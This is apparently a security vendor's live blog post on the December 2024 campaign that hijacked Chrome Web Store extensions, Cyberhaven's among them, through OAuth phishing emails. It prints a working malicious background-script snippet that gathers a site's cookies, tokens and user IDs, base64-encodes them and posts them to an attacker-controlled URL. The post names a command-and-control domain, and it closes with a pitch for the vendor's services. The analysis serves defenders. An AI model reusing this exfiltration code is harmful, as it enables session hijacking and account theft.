Last updated: December 30th, 2024
This blog thread is tracking the unfolding global attack campaign targeting browser extensions on the Chrome Web Store. We will update new details as they become available.
On December 27, 2024, cybersecurity startup Cyberhaven disclosed that an attack has compromised its browser extension and injected malicious code into it. Once details of this attack emerged, additional compromised browser extensions were quickly discovered, with more than 25 extensions currently known to have been impacted.
The live thread below explains all the details we know, which extensions have been impacted, how organizations should protect themselves, and how LayerX is helping its customers address extensions compromised by this attack.
Quick links inside this document:
On December 27, 2024, Cyberhaven notified its customers of a security breach that led to the compromise of the credentials of a Cyberhaven employee, which were used to push a malicious version of Cyberhaven’s browser extension to the Chrome Store. The Cyberhaven Security Extension currently has over 400,000 users, who were presumably impacted by this breach.
News of the incident was first report by cybersecurity blog Vulnu, which obtained a copy of Cyberhaven’t email to customers.
According to Cyberhaven’s analysis, on December 24, a phishing attack compromised one of their employees, resulting in attackers gaining access to the company’s browser extension on the Chrome Web Store.
Attackers then leveraged this access to upload a malicious version of Cyberhaven’s browser extension and updated it on Chrome Store in the early hours of December 25.
According to Cyberhaven, the malicious update was detected about a day later, and the malicious code was removed in the early hours of December 26. All in all, the malicious version was online for just over 24 hours.
However, as it began to emerge that additional extensions were compromised, it became evident that the Cyberhaven attack was not an isolated attack targeting only this company, but rather part of an extensive campaign.
This makes analysis of the Cyberhaven incident relevant to understanding the campaign as a whole.
The admin account to the Cyberhaven browser extension was compromised via a targeted phishing attack, allowing the attacked to publish a malicious version of it.
Since this incident was not just a one-off attack, but part of a campaign targeting multiple extensions, we believe that the phishing approach used to attack Cyberhaven was replicated with all other extensions, as well.
The most likely source of targets for the phishing campaign is the Chrome Web Store itself.
For each extension, the Chrome Store provides details of the extension publisher, along with a contact email address:
Sample contact details of the Cyberhaven browser extension, from the Chrome Web Store
Using these email addresses, attackers sent spoofed email purporting to be on behalf of Google, alerting recipients of ‘violations’ in their accounts.
This is a copy of the phishing email sent to Cyberhaven, that the company provided as part of their technical analysis of the incident:
However, similar email have emerged from other sources, as well: a thread on the Chromium.org discussion group asked about a suspicious email they received supposedly from Google, to understand whether this is a phishing attempt:
This email is nearly identical to the one that compromised Cyberhaven (although listing a different ‘violation’ reason), indicating it was part of the same phishing campaign. According to the post, this email was received on December 23, right around the time Cyberhaven was breached.
Once the intended target clicked the email link, they were taken to a Google authorization form to add an OAuth Google application named “Privacy Policy Extensions.”
Following this approval flow would lead to authorizing the malicious third-party OAuth application and granting it access to the victim’s Chrome Web Store account. However, because of the manner in which the attack was architected, the attackers did not need to compromise the account credentials themselves (i.e., the password), just ‘piggyback’ on the permissions granted by the malicious application.
Once the attackers gained access to the victim’s Web Store account, they injected code into the extension’s worker.js file to access an external URL (cyberhavenext[.]pro) and download an external configuration file.
Each time the browser would be launched, the extension would fetch a configuration file from a remote server. This file controls the extension’s behavior and can be dynamically updated by the attacker, allowing them to dictate what and when actions occur. the attacker can switch the configuration file at any time, allowing them to adapt the attack to different environments or targets dynamically. This is the key to the attack’s flexibility.
Below is an example of such code:
Key insights from the code:
In addition, the code added a new file (content.js) to the extensions, used to collect user data on websites and exfiltrate it to an external website. The background script in the extension operates as a central controller, handling incoming messages from content scripts and performing various actions based on those messages. The following code snippet demonstrates a flexible structure waiting to process multiple types of requests:
chrome.runtime.onMessage.addListener(((t, e, a) => {
switch (t.action) {
case"cyberhavenext-completions":
fetch("<https://chatgpt.com/status/>", {
method: "POST",
headers: {"Content-Type": "application/json", Authorization: `Bearer ${t.key}`},
body: JSON.stringify({prompt: "check", max_tokens: 150})
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-redirect":
fetch(t.url).then((t => t.redirected)).then((t => a(t))).catch();
break;
case"cyberhavenext-validate":
fetch(t.url, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(t.pl)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-rtext":
fetch(t.url).then((t => t.text())).then((t => a(t))).catch();
break;
case"cyberhavenext-rjson":
fetch(t.url).then((t => t.json())).then((t => a(t))).catch();
break;
case"cyberhavenext-check-errors":
const e = t.pl;
let n = e.dm;
chrome.cookies.getAll({domain: n}, (n => {
if (n.length > 0) {
const o = n.map((t => ({
domain: t.domain,
expirationDate: t.expirationDate || null,
hostOnly: t.hostOnly,
httpOnly: t.httpOnly,
name: t.name,
path: t.path,
sameSite: t.sameSite || null,
secure: t.secure,
session: t.session,
storeId: t.storeId || null,
value: t.value
}))), c = e.n;
let s = "";
try {
s = btoa(JSON.stringify(e.openapi_u))
} catch (t) {
}
const i = e.openapi_tk + " || " + JSON.stringify(o) + " || " + btoa(navigator[c]) + " || " + e.uid + " || " + s + " || || " + e.k,
r = {ms1: btoa(i), ms2: JSON.stringify(e.cyberhavenext_cx), ms3: JSON.stringify(e.gpta)},
l = t.url;
fetch(l, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(r)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}))
}
}))
}
return !0
}))
The script uses chrome.runtime.onMessage.addListener
to process a variety of actions. Each action defines a specific behavior, such as making network requests.
When the “cyberhavenext-check-errors
” action is invoked, the attacker retrieves sensitive cookies using chrome.cookies.getAll
the attacker also combines this data with other information (like navigator[c]
and e.uid
) the attacker will obscure the content using btoa()
in order to convert it to base64. This makes the data less readable in network monitoring tools, adding a layer of obfuscation.
By embedding these actions into the background script, the attacker ensures that:
Analysis that Cyberhaven performed on exposed endpoints indicates that the malicious code focused specifically on cookies and authentication tokens for Facebook, and in particular - Facebook business accounts:
According to Cyberhaven, the targeted data included Facebook access tokens, user IDs, account information, and Facebook Ads account details.
Once the URL of the malicious C&C server was identified, security researchers used reverse DNS to identify additional domains that resolved to the same IP address. This led to the discovery of additional compromised browser extensions and revealed the extent of this attack campaign.
Currently, more than 25 browser extensions, with an install base of over 2.3 million users, have been found to be compromised:
Although technical analysis so far has indicated that the primary objective of this campaign has been the theft of Facebook credentials and access tokens, it is impossible to rule out the exposure of credentials of additional websites.
This is why LayerX is recommending the following actions for all impacted users:
Due to the breadth and scope of this attack, LayerX is offering organizations impacted by this attack (or worried about being potentially impacted) complimentary browser extension audit and remediation.
This audit includes:
Click here to sign up for this assessment.